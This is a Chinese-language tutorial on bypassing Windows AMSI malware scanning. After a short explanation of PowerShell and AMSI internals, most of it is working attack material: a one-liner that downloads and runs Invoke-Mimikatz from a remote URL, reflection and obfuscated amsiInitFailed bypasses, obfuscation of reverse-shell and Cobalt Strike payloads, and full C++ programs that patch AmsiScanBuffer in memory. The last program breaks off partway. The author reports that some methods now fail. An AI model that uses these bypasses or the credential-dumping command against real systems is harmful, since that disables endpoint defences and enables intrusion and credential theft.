**DisableRegistryTools**
powershell 介绍
- 它诞生于 2006 年,是一款功能强大的命令行 Shell 和脚本语言。
- 面向对象,PowerShell 不仅可以处理文本,还可以处理结构化数据。
- 基于 .NET 构建:这使得 PowerShell 能够深入访问 Windows 内部机制,并使其在系统管理方面拥有极其强大的功能。
- PowerShell 现在可以在 Windows、Linux 和 macOS 上运行,提供了更广泛的适用性。
PowerShell 及其内存加载功能
Invoke-Expression (IEX) 允许在当前会话中将字符串作为 PowerShell 命令执行
Invoke-Expression "Get-Process"
运行 “Get-Process” 并返回活动进程的列表。

但是运行如下的命令(从提供的URL下载脚本并执行)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellMafia/Powersploit/refs/heads/master/Exfiltration/Invoke-Mimikatz.ps1')

因为存在AMSI,执行恶意脚本会被禁止
使用 Import-Module加载
Import-Module cmdlet 是一个内置的 PowerShell 命令,用于向当前会话添加一个或多个模块。在 PowerShell 的上下文中,模块是一个包含 PowerShell 成员(包括 cmdlet、提供程序、函数、变量等)的包。
Import-Module .\Invoke-Mimikatz.ps1
- 首先,PowerShell 在当前目录中搜索指定的模块,其中.\Invoke-Mimikatz.ps1是会报毒的。如果未找到,PowerShell 将检查预定义的模块路径。
- 接下来,如果存在模块清单文件 (.psd1),PowerShell 会读取该文件以确定模块的属性、依赖项以及任何所需的程序集。之后,所有必要的 .NET 程序集都会加载到 PowerShell 进程中。
- 然后,导出的项目将集成到会话的函数和变量表中,这允许直接访问它们,就像它们是本机命令一样。为了提高性能,该模块被缓存在内存中,以便在后续导入期间更快地访问。
- 如果模块依赖于其他模块或脚本,PowerShell 也会以递归方式导入它们。此外,在执行模块中的任何代码之前,PowerShell 会检查系统的执行策略,以确保允许运行模块。
优点:
- 代码直接在内存中运行,不会在磁盘上留下任何痕迹。
- 攻击者可以动态地生成、修改和混淆代码,从而快速适应不同的环境并规避安全措施。
- 整个框架和复杂的工具可以加载到内存中,使攻击者无需安装软件即可获得全套功能。
AMSI 原理

powershell执行时会加载amsi.dll调用其中的API
反恶意软件扫描接口 (AMSI) 是一个深度集成于 Windows 操作系统的复杂安全框架。
AMSI 利用组件对象模型 (COM) 接口实现 Windows、应用程序和防病毒解决方案之间的顺畅交互。这些接口促进了无缝通信和集成,从而有效地检测恶意软件。AMSI 架构的关键组件包括:
- amsi.dll 是用于执行扫描操作的中央 AMSI 库。
- AmsiScanBuffer 和 AmsiScanString 函数分别负责扫描内存中的数据缓冲区和字符串,以查找潜在威胁。
IAntimalwareProvider:防病毒软件用于与 AMSI 集成的接口,允许第三方安全解决方案在 AMSI 框架内为威胁检测。(借一张图解释一下

初始化:
这些应用程序使用 AmsiInitialize 函数配置其扫描上下文:
HRESULT AmsiInitialize( LPCWSTR appName, HAMSICONTEXT *amsiContext );
appName 参数指定应用程序的名称,而 amsiContext 参数是指向将在后续 AMSI API 调用中使用的句柄的指针。
内存扫描:
AMSI 执行内存扫描的能力是检测直接在系统内存中运行的复杂、无文件恶意软件的关键特性,从而逃避传统的基于磁盘的检测方法。
AmsiScanBuffer 函数是此功能的核心:
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
这个功能能直接在内存中加载和执行的脚本,绕过磁盘存储和传统的基于文件的扫描。
情景感知扫描:
AmsiOpenSession 函数用于在现有 AMSI 上下文中创建会话:
HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
**amsiContext**:从 AmsiInitialize 获取的 AMSI 上下文的句柄。
**amsiSession**:指向将表示新会话的句柄的指针。
这个函数在成功时返回 S_OK,如果失败,则返回 HRESULT 错误代码。
AMSI(反恶意软件接口)主要用于检测和处理潜在的恶意软件。它的工作方式可以简单理解为:
- 不同的安全软件会对程序进行扫描,并返回结果。这些结果从
AMSI_RESULT_CLEAN到AMSI_RESULT_MALWARE。 - AMSI 会把这些结果汇总在一起,并根据每个安全软件的信誉和可靠性进行加权。
- 允许执行:如果认为安全,就让程序继续运行。
- 阻止执行:如果发现问题,就会阻止程序运行,并通知相关应用。
- 记录信息:在某些情况下,AMSI 还会记录更多信息、发出警报,或者进行更深入的扫描。
Bypassing AMSI (An-Overview)
Invoke-Obfuscation+Reverse Shell Generator(项目时间太久可用性降低)
- 隐藏 Obfuscation →真正含义会改变代码的外观,而不会改变它的功能。例如,编写 “H” + “e” + “l” + “l” + “o”,而不是写 “Hello”。它仍然是 “Hello” 的意思,但看起来不同;
- 使内容变得混乱 — > Obfuscation 添加了额外的内容,这些内容不会执行任何重要作;
- 使用奇怪的名称,而不是为代码中的事物使用明确的名称,混淆使用随机或误导性的名称;
- 使用编码例如,当以 Base64 编码时,“Hello” 可能会变为 “SGVsbG8=”。(该方法失效)
Invoke-Obfuscation导入到powershell中时Windows defend会拦截,关闭win denf即可正常使用
使用Reverse Shell Generator直接生成的payload使用是会被AMSI拦截的

但是使用Invoke-Obfuscation项目混淆一下生成的payload就能正常绕过AMSI检测



(测试环境为Windows defended)
amsiInitFailed 设置为true
使用 .NET 反射通过将其内部 amsiInitFailed 标志设置为 true 来禁用 AMSI。
$t=[Ref].Assembly.GetType(('System.Manage'+'ment.Automa'+'tion.AmsiUtils'));$f=$t.GetField(('amsiIn'+'itFailed'),'NonPublic,Static');$f.SetValue($null,$true)
如果直接使用该指令会被禁止,所以需要使用一定混淆

- System.Management.Automation 程序集中的 AmsiUtils 类;
- amsiInitFailed 字段设置为 true,强制 AMSI 初始化失败;
- 字符串被拆分为(“System.Manage”+“ment.Automation”+“tion.AmsiUtils”)。
Base64 + ASCII 混淆该方法使用 Base64 和 ASCII 编码对关键字符串进行混淆
$s=[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM='));
$t=[Ref].Assembly.GetType($s);
$t.GetField([System.Text.Encoding]::ASCII.GetString((97,109,115,105,73,110,105,116,70,97,105,108,101,100)),'NonPublic,Static').SetValue($null,$true);
- 将“System.Management.Automation.AmsiUtils”从 Base64 解码。
- 将“amsiInitFailed”从 ASCII 字节值转换。
- 使用反射禁用 AMSI。
但是这种方式现在能够检测

(方法奏效,但是需要重新考虑免杀手法)可搭配上面的Invoke-Obfuscation项目使用
psh_obfuscator.rb
这是一个使用使用Ruby写的混淆.ps1脚本
核心功能:
标识符混淆:
- 替换函数名(如
Get-Data→aBcDeFg) - 替换参数名(如
-UserName→-XyZ123) - 替换变量名(如
$Connection→$LoLpOl)
注释清除:
- 移除单行注释(
# comment) - 移除多行注释(
<# comment #>)
保留关键字保护:
- 自动跳过 PowerShell 内置变量(如
$_,$Host)
def generate_random_str
[*"a".."z", *"A".."Z"].sample(MAX_LENGTH).join
end
名称生成功能函数
script.gsub(/#{f}\b/, obf)
函数混淆函数
script.gsub(/\$#{a[1..]}\b/, obf)
script.gsub(/#{a.sub('$', '-')}\b/, obf.sub('$', '-'))
参数混淆
script.gsub(/\$#{var[1..]}\b/i, obf)
变量混淆
使用方法:
需要先安装Ruby环境,然后将脚本中的SCRIPT_PATH = "Invoke-Example.ps1" 换成SCRIPT_PATH = ARGV[0] || "Invoke-Example.ps1" 这样使用起来更加灵活

其中payload.ps1是Cobalt Strike生成的powershell脚本,直接使用psh_obfuscator.rb项目进行混淆

看内容混淆力度并不是很强,使用沙箱测试

这个是原生的payload.ps1脚本

这个是混淆之后的脚本,很明显有一定的效果
AMSI Patching(这些方法现在均已失效)
使用 C 编程修补AMSI的各种方法。 (以下所有测试均采用Windows 11 专业中文版 24H2 操作系统版本 26100.3194;Windows defended开启环境)
** WriteProcessMemory 进行函数修补**
这个方法会直接覆盖amsi.dll中的代码
HMODULE amsiDll = LoadLibraryA("amsi.dll");
FARPROC functionAddr = GetProcAddress(amsiDll, "AmsiScanBuffer");
unsigned char patch[] = {0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3};
WriteProcessMemory(GetCurrentProcess(), functionAddr, patch, sizeof(patch), NULL);
- LoadLibraryA("amsi.dll") 将 AMSI DLL 加载到进程内存中。
- GetProcAddress() 获取 AmsiScanBuffer 函数的内存地址。
- 0xB8:MOV EAX(将值移动到 EAX 寄存器)
- 0x57、0x00、0x07、0x80:值 0x80070057(十六进制的 E_INVALIDARG)
- 0xC3:RET(从函数返回)
- WriteProcessMemory() 用我们的补丁覆盖原始函数代码。
使 AmsiScanBuffer 始终返回 E_INVALIDARG,从而绕过扫描。
POC:
#include <windows.h>
#include <amsi.h>
#include <iostream>
#include <vector>
#include <string>
#pragma comment(lib, "amsi.lib")
typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
const char* EICAR_STRING = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
int main() {
HRESULT hr = S_OK;
HMODULE amsiDll = NULL;
AmsiInitialize_t pAmsiInitialize = NULL;
AmsiUninitialize_t pAmsiUninitialize = NULL;
AmsiScanBuffer_t pAmsiScanBuffer = NULL;
FARPROC functionAddr = NULL;
HAMSICONTEXT amsiContext = NULL;
AMSI_RESULT scanResultBefore = AMSI_RESULT_CLEAN;
AMSI_RESULT scanResultAfter = AMSI_RESULT_CLEAN;
HRESULT hrScanBefore = S_OK;
HRESULT hrScanAfter = S_OK;
bool patchSuccess = false;
bool restoreSuccess = false;
unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
// mov eax, 0x80070057 (E_INVALIDARG) ; ret
const HRESULT EXPECTED_PATCHED_HRESULT = 0x80070057;
std::vector<unsigned char> originalBytes(sizeof(patch));
DWORD oldProtect = 0;
SIZE_T bytesWritten = 0;
SIZE_T bytesRead = 0;
std::cout << "--- AMSI Patch Test ---" << std::endl;
// 1. Load amsi.dll
amsiDll = LoadLibraryA("amsi.dll");
if (!amsiDll) {
std::cerr << "Error: Failed to load amsi.dll. Error code: " << GetLastError() << std::endl;
return 1;
}
std::cout << "[+] Loaded amsi.dll" << std::endl;
// 2. Get function addresses
pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsiDll, "AmsiInitialize");
pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsiDll, "AmsiUninitialize");
functionAddr = GetProcAddress(amsiDll, "AmsiScanBuffer");
pAmsiScanBuffer = (AmsiScanBuffer_t)functionAddr;
if (!pAmsiInitialize || !pAmsiUninitialize || !pAmsiScanBuffer) {
std::cerr << "Error: Failed to get AMSI function addresses. Error code: " << GetLastError() << std::endl;
FreeLibrary(amsiDll);
return 1;
}
std::cout << "[+] Got AMSI function addresses (Initialize, Uninitialize, ScanBuffer)" << std::endl;
std::cout << " AmsiScanBuffer address: 0x" << std::hex << (void*)functionAddr << std::dec << std::endl;
// 3. Initialize AMSI
hr = pAmsiInitialize(L"AMSI_Patch_Test_App", &amsiContext);
if (FAILED(hr)) {
std::cerr << "Error: AmsiInitialize failed. HRESULT: 0x" << std::hex << hr << std::dec << std::endl;
FreeLibrary(amsiDll);
return 1;
}
std::cout << "[+] AmsiInitialize succeeded." << std::endl;
// 4. (Optional) Scan *before* patching to see normal behavior
std::cout << "\n--- Scanning EICAR *before* patch ---" << std::endl;
hrScanBefore = pAmsiScanBuffer(amsiContext, (PVOID)EICAR_STRING, (ULONG)strlen(EICAR_STRING), L"EICAR Test", NULL, &scanResultBefore);
if (SUCCEEDED(hrScanBefore)) {
std::cout << "[+] AmsiScanBuffer (original) call succeeded." << std::endl;
std::cout << " Scan Result (0=Clean, 1=NotDetected, >=32768=Detected): " << scanResultBefore << std::endl;
if (AmsiResultIsMalware(scanResultBefore)) {
std::cout << " Expected: EICAR string detected as malware." << std::endl;
}
else {
std::cout << " Warning: EICAR string was *not* detected as malware by original function." << std::endl;
}
}
else {
std::cerr << " Warning: AmsiScanBuffer (original) call failed. HRESULT: 0x" << std::hex << hrScanBefore << std::dec << std::endl;
}
std::cout << "\n--- Applying Patch ---" << std::endl;
// 5. Read original bytes (need PAGE_EXECUTE_READWRITE)
if (!VirtualProtect((LPVOID)functionAddr, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "Error: VirtualProtect (for read) failed. Error code: " << GetLastError() << std::endl;
pAmsiUninitialize(amsiContext);
FreeLibrary(amsiDll);
return 1;
}
std::cout << "[+] Set memory protection to PAGE_EXECUTE_READWRITE." << std::endl;
if (!ReadProcessMemory(GetCurrentProcess(), (LPCVOID)functionAddr, originalBytes.data(), sizeof(patch), &bytesRead) || bytesRead != sizeof(patch)) {
std::cerr << "Error: ReadProcessMemory (read original) failed or read incorrect size. Error code: " << GetLastError() << std::endl;
VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect);
pAmsiUninitialize(amsiContext);
FreeLibrary(amsiDll);
return 1;
}
std::cout << "[+] Successfully read original " << bytesRead << " bytes from AmsiScanBuffer entry point." << std::endl;
// 6. Apply the patch
if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, patch, sizeof(patch), &bytesWritten) && bytesWritten == sizeof(patch)) {
patchSuccess = true;
std::cout << "[+] WriteProcessMemory succeeded. Wrote " << bytesWritten << " bytes." << std::endl;
FlushInstructionCache(GetCurrentProcess(), (LPCVOID)functionAddr, sizeof(patch));
std::cout << "[+] Flushed instruction cache." << std::endl;
}
else {
std::cerr << "Error: WriteProcessMemory failed. Error code: " << GetLastError() << std::endl;
if (bytesRead == sizeof(patch)) {
WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, originalBytes.data(), sizeof(patch), &bytesWritten);
}
VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect);
pAmsiUninitialize(amsiContext);
FreeLibrary(amsiDll);
return 1;
}
std::cout << "\n--- Scanning EICAR *after* patch ---" << std::endl;
// 7. Call the patched function
hrScanAfter = pAmsiScanBuffer(amsiContext, (PVOID)EICAR_STRING, (ULONG)strlen(EICAR_STRING), L"EICAR Test Patched", NULL, &scanResultAfter);
std::cout << "[+] Patched AmsiScanBuffer called." << std::endl;
std::cout << " Returned HRESULT: 0x" << std::hex << hrScanAfter << std::dec << std::endl;
std::cout << " Expected HRESULT: 0x" << std::hex << EXPECTED_PATCHED_HRESULT << std::dec << std::endl;
std::cout << " Output Scan Result parameter value (may be unreliable): " << scanResultAfter << std::endl;
// 8. Check the HRESULT
bool testPassed = (hrScanAfter == EXPECTED_PATCHED_HRESULT);
std::cout << "\n--- Cleaning Up ---" << std::endl;
// 9. Restore the original bytes
if (patchSuccess) {
if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, originalBytes.data(), originalBytes.size(), &bytesWritten) && bytesWritten == originalBytes.size()) {
restoreSuccess = true;
std::cout << "[+] Restored original bytes to AmsiScanBuffer." << std::endl;
FlushInstructionCache(GetCurrentProcess(), (LPCVOID)functionAddr, originalBytes.size());
std::cout << "[+] Flushed instruction cache after restoration." << std::endl;
}
else {
std::cerr << "Error: Failed to restore original bytes. Error code: " << GetLastError() << std::endl;
}
if (!VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect)) {
std::cerr << "Error: Failed to restore original memory protection. Error code: " << GetLastError() << std::endl;
}
else {
std::cout << "[+] Restored original memory protection." << std::endl;
}
}
// 10. Uninitialize AMSI
if (amsiContext) {
pAmsiUninitialize(amsiContext);
std::cout << "[+] AmsiUninitialize called." << std::endl;
}
// 11. Free the library
if (amsiDll) {
FreeLibrary(amsiDll);
std::cout << "[+] Freed amsi.dll" << std::endl;
}
// 12. Print final result
std::cout << "\n--- Test Result ---" << std::endl;
if (testPassed) {
std::cout << "PASS: Patched AmsiScanBuffer returned the expected HRESULT (0x"
<< std::hex << EXPECTED_PATCHED_HRESULT << std::dec << ")." << std::endl;
return 0;
}
else {
std::cout << "FAIL: Patched AmsiScanBuffer did not return the expected HRESULT." << std::endl;
std::cout << " Expected: 0x" << std::hex << EXPECTED_PATCHED_HRESULT << std::dec << std::endl;
std::cout << " Received: 0x" << std::hex << hrScanAfter << std::dec << std::endl;
return 1;
}
}

使用IDA观察amsi.dll中的AmsiScanBuffer函数

调试发现patch是已经成功,运行了mov eax, 80070057h,但是使用直接反弹shell还是被检测到,使用CS马测试也同样(疑似被修)

Memory Protection Modification
该方法临时更改目标函数的内存保护
FARPROC functionAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(functionAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(functionAddr, "\x74", 1);
VirtualProtect(functionAddr, 1, oldProtect, &oldProtect);
- 寻找AmsiScanBuffer 函数
- VirtualProtect() 用于将内存保护更改为 PAGE_EXECUTE_READWRITE
- memcpy() 用 0x74(JE/JZ 指令)覆盖函数的第一个字节
- 恢复原来的内存保护
__
POC:
#include <windows.h>
#include <iostream>
#include <vector>
#include <string>
#include <amsi.h>
#pragma comment(lib, "amsi.lib")
// Constants for x64 instruction opcodes
const BYTE x64_RET_OPCODE = 0xC3; // 'ret' instruction
const BYTE x64_INT3_OPCODE = 0xCC; // 'int3' (breakpoint) instruction
const BYTE x64_JE_OPCODE = 0x74; // 'je' (jump if equal) instruction
const BYTE x64_JNE_OPCODE = 0x75; // 'jne' (jump if not equal) instruction
typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void(WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
BYTE g_originalJneByte = 0;
BYTE* g_pJneInstructionAddress = nullptr;
HMODULE g_hAmsiModule = NULL;
FARPROC g_pActualAmsiScanBufferProc = NULL;
bool RestoreAmsiPatch() {
if (g_pJneInstructionAddress && g_originalJneByte != 0) {
DWORD oldProtectRestoration;
if (!VirtualProtect(g_pJneInstructionAddress, 1, PAGE_EXECUTE_READWRITE, &oldProtectRestoration)) {
std::cerr << "[-] Failed to change memory protection for restoration. Error: " << GetLastError() << std::endl;
return false;
}
*g_pJneInstructionAddress = g_originalJneByte;
DWORD tempRestoration;
VirtualProtect(g_pJneInstructionAddress, 1, oldProtectRestoration, &tempRestoration);
FlushInstructionCache(GetCurrentProcess(), g_pJneInstructionAddress, 1);
std::cout << "[+] Original JNE byte restored at: 0x" << std::hex << (void*)g_pJneInstructionAddress << std::dec << std::endl;
g_pJneInstructionAddress = nullptr;
g_originalJneByte = 0;
return true;
}
return false;
}
bool PatchAmsiScanBufferRoutine() {
g_hAmsiModule = LoadLibraryA("amsi.dll");
if (!g_hAmsiModule) {
std::cerr << "[-] Failed to load amsi.dll. Error: " << GetLastError() << std::endl;
return false;
}
g_pActualAmsiScanBufferProc = GetProcAddress(g_hAmsiModule, "AmsiScanBuffer");
if (!g_pActualAmsiScanBufferProc) {
std::cerr << "[-] Failed to get AmsiScanBuffer address. Error: " << GetLastError() << std::endl;
FreeLibrary(g_hAmsiModule);
g_hAmsiModule = NULL;
return false;
}
std::cout << "[+] AmsiScanBuffer found at: 0x" << std::hex << (void*)g_pActualAmsiScanBufferProc << std::dec << std::endl;
BYTE* pCode = (BYTE*)g_pActualAmsiScanBufferProc;
BYTE* pJneInstruction = nullptr;
BYTE* pFunctionEndCandidate = nullptr;
const int MAX_SCAN_RANGE = 0x500;
for (int i = 0; i < MAX_SCAN_RANGE - 2; i++) {
if (pCode[i] == x64_RET_OPCODE &&
pCode[i + 1] == x64_INT3_OPCODE &&
pCode[i + 2] == x64_INT3_OPCODE) {
pFunctionEndCandidate = &pCode[i];
std::cout << "[+] Potential function end marker (RET, INT3, INT3) found near: 0x"
<< std::hex << (void*)pFunctionEndCandidate << std::dec << std::endl;
break;
}
}
if (!pFunctionEndCandidate) {
std::cerr << "[-] Failed to find the specific function end marker (RET, INT3, INT3)." << std::endl;
std::cerr << " This patching method is highly dependent on this signature." << std::endl;
FreeLibrary(g_hAmsiModule);
g_hAmsiModule = NULL;
g_pActualAmsiScanBufferProc = NULL;
return false;
}
for (BYTE* pCurrent = pFunctionEndCandidate; pCurrent > pCode; pCurrent--) {
if (*pCurrent == x64_JNE_OPCODE) {
pJneInstruction = pCurrent;
break;
}
}
if (!pJneInstruction) {
std::cerr << "[-] Failed to find a JNE instruction by searching backwards from the end marker." << std::endl;
FreeLibrary(g_hAmsiModule);
g_hAmsiModule = NULL;
g_pActualAmsiScanBufferProc = NULL;
return false;
}
std::cout << "[+] Found a JNE instruction candidate at: 0x" << std::hex << (void*)pJneInstruction << std::dec << std::endl;
g_pJneInstructionAddress = pJneInstruction;
DWORD oldProtect;
if (!VirtualProtect(g_pJneInstructionAddress, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "[-] Failed to change memory protection. Error: " << GetLastError() << std::endl;
FreeLibrary(g_hAmsiModule);
g_hAmsiModule = NULL;
g_pActualAmsiScanBufferProc = NULL;
g_pJneInstructionAddress = nullptr;
return false;
}
g_originalJneByte = *g_pJneInstructionAddress;
*g_pJneInstructionAddress = x64_JE_OPCODE;
std::cout << "[+] Patched JNE (0x" << std::hex << (int)g_originalJneByte
<< ") to JE (0x" << (int)x64_JE_OPCODE
<< ") at: 0x" << (void*)g_pJneInstructionAddress << std::dec << std::endl;
DWORD tempProtectionRestored;
if (!VirtualProtect(g_pJneInstructionAddress, 1, oldProtect, &tempProtectionRestored)) {
std::cerr << "[-] Warning: Failed to restore original memory protection immediately after patch. Error: " << GetLastError() << std::endl;
}
FlushInstructionCache(GetCurrentProcess(), g_pJneInstructionAddress, 1);
return true;
}
int main() {
std::cout << "--- AMSI Bypass via JNE to JE Patch ---" << std::endl;
if (!PatchAmsiScanBufferRoutine()) {
std::cerr << "[-] Initial patching routine failed." << std::endl;
if (g_hAmsiModule) {
FreeLibrary(g_hAmsiModule);
g_hAmsiModule = NULL;
}
return 1;
}
HAMSICONTEXT amsiContext = NULL;
HRESULT hrInit, hrScan;
AMSI_RESULT scanResult = AMSI_RESULT_NOT_DETECTED; // CORRECTED INITIALIZATION
AmsiInitialize_t pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(g_hAmsiModule, "AmsiInitialize");
AmsiUninitialize_t pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(g_hAmsiModule, "AmsiUninitialize");
AmsiScanBuffer_t pActualAmsiScanBuffer = (AmsiScanBuffer_t)g_pActualAmsiScanBufferProc;
if (!pAmsiInitialize || !pAmsiUninitialize || !pActualAmsiScanBuffer) {
std::cerr << "[-] Failed to get necessary AMSI function pointers for testing after patch." << std::endl;
RestoreAmsiPatch();
if (g_hAmsiModule) {
FreeLibrary(g_hAmsiModule);
g_hAmsiModule = NULL;
}
return 1;
}
hrInit = pAmsiInitialize(L"AMSI_JNE_Patch_Test", &amsiContext);
if (FAILED(hrInit)) {
std::cerr << "[-] Failed to initialize AMSI after patch. HRESULT: 0x" << std::hex << hrInit << std::dec << std::endl;
RestoreAmsiPatch();
if (g_hAmsiModule) {
FreeLibrary(g_hAmsiModule);
g_hAmsiModule = NULL;
}
return 1;
}
std::cout << "[+] AMSI initialized for testing the patch." << std::endl;
const char* eicarTestString = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
hrScan = pActualAmsiScanBuffer(amsiContext, (PVOID)eicarTestString, (ULONG)strlen(eicarTestString), L"EICAR_Test_Patched", NULL, &scanResult);
std::cout << "[+] Patched AmsiScanBuffer call HRESULT: 0x" << std::hex << hrScan << std::dec << std::endl;
std::cout << "[+] Patched AmsiScanBuffer scan result: " << scanResult
<< " (0=Clean, 1=NotDetected, >=32768 = Malware)" << std::endl;
bool bypassEffective = false;
if (SUCCEEDED(hrScan)) {
if (scanResult == AMSI_RESULT_CLEAN || scanResult == AMSI_RESULT_NOT_DETECTED) {
bypassEffective = true;
}
else if (AmsiResultIsMalware(scanResult)) {
std::cout << "[-] Patch applied, but EICAR still detected as malware by AMSI_RESULT." << std::endl;
}
else {
std::cout << "[?] Patch applied, HRESULT OK, but AMSI_RESULT is indeterminate: " << scanResult << std::endl;
}
}
else {
std::cout << "[-] Call to patched AmsiScanBuffer failed. HRESULT: 0x" << std::hex << hrScan << std::dec << std::endl;
}
if (amsiContext) {
pAmsiUninitialize(amsiContext);
std::cout << "[+] AMSI uninitialized." << std::endl;
}
RestoreAmsiPatch();
if (g_hAmsiModule) {
FreeLibrary(g_hAmsiModule);
std::cout << "[+] amsi.dll freed." << std::endl;
g_hAmsiModule = NULL;
}
g_pActualAmsiScanBufferProc = NULL;
if (bypassEffective) {
std::cout << "\n[SUCCESS] AMSI bypass via JNE->JE patch appears effective for this test." << std::endl;
std::cout << " (Returned S_OK and AMSI_RESULT indicates not malware)" << std::endl;
}
else {
std::cerr << "\n[FAILURE] AMSI bypass via JNE->JE patch was NOT fully effective or an error occurred." << std::endl;
}
std::cout << "Note: This type of patch is highly version-dependent and may not work on all systems or after updates." << std::endl;
return bypassEffective ? 0 : 1;
}

很明显的patch失败了,与版本有关
Assembly-Level Function Patching
注入特定的汇编指令来改变函数行为
FARPROC functionAddr = GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
unsigned char jumpPatch[] = {0xEB};
WriteProcessMemory(GetCurrentProcess(), functionAddr, jumpPatch, sizeof(jumpPatch), NULL);
- 找到 AmsiScanBuffer 函数;
- 0xE9,这是 x86/x64 汇编中近跳转的操作码;
- 一条 5 字节跳转指令的第一个字节;
- 需要计算并写入跳转偏移量,以重定向到自定义函数;
POC:
#include <windows.h>
#include <iostream>
#include <vector>
#include <string> // For strlen
#include <amsi.h> // For AMSI definitions
#pragma comment(lib, "amsi.lib")
// Define AMSI function pointer types (already in amsi.h, but can be kept for clarity if no conflicts)
typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void(WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
HMODULE g_hAmsiModule_EB = NULL;
FARPROC g_pAmsiScanBuffer_EB = NULL;
unsigned char g_originalFirstByte_EB = 0;
HRESULT CallPatchedAmsiScanBuffer_SEH(
AmsiScanBuffer_t pActualAmsiScanBuffer,
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* outScanResult,
bool* outCrashed
) {
*outCrashed = false;
HRESULT hr = E_FAIL;
__try {
hr = pActualAmsiScanBuffer(amsiContext, buffer, length, contentName, amsiSession, outScanResult);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DWORD exceptionCode = GetExceptionCode();
std::cerr << "!!! CRASH DETECTED within CallPatchedAmsiScanBuffer_SEH !!!" << std::endl;
std::cerr << " Exception code: 0x" << std::hex << exceptionCode << std::dec << std::endl;
*outCrashed = true;
hr = HRESULT_FROM_WIN32(exceptionCode);
if (outScanResult) {
*outScanResult = AMSI_RESULT_NOT_DETECTED;
}
}
return hr;
}
bool RestoreAmsiShortJmpPatch() {
if (g_pAmsiScanBuffer_EB && g_originalFirstByte_EB != 0) {
DWORD oldProtect;
if (!VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "[-] RestoreShortJmp: VirtualProtect failed. Error: " << GetLastError() << std::endl;
return false;
}
*(unsigned char*)g_pAmsiScanBuffer_EB = g_originalFirstByte_EB;
DWORD temp;
VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, 1, oldProtect, &temp);
FlushInstructionCache(GetCurrentProcess(), (LPVOID)g_pAmsiScanBuffer_EB, 1);
std::cout << "[+] Short JMP Patch: Original byte restored." << std::endl;
g_originalFirstByte_EB = 0;
return true;
}
return false;
}
bool PatchAmsiWithShortJmp() {
std::cout << "\n--- Attempting AMSI Patch with Short JMP (0xEB) ---" << std::endl;
g_hAmsiModule_EB = LoadLibraryA("amsi.dll");
if (!g_hAmsiModule_EB) {
std::cerr << "[-] Short JMP Patch: Failed to load amsi.dll. Error: " << GetLastError() << std::endl;
return false;
}
g_pAmsiScanBuffer_EB = GetProcAddress(g_hAmsiModule_EB, "AmsiScanBuffer");
if (!g_pAmsiScanBuffer_EB) {
std::cerr << "[-] Short JMP Patch: Failed to get AmsiScanBuffer address. Error: " << GetLastError() << std::endl;
FreeLibrary(g_hAmsiModule_EB);
g_hAmsiModule_EB = NULL;
return false;
}
std::cout << "[+] Short JMP Patch: AmsiScanBuffer found at 0x" << std::hex << (void*)g_pAmsiScanBuffer_EB << std::dec << std::endl;
unsigned char jumpPatch[] = { 0xEB };
DWORD oldProtect;
SIZE_T bytesWritten;
g_originalFirstByte_EB = *(unsigned char*)g_pAmsiScanBuffer_EB;
std::cout << "[+] Short JMP Patch: Original first byte of AmsiScanBuffer is 0x" << std::hex << (int)g_originalFirstByte_EB << std::dec << std::endl;
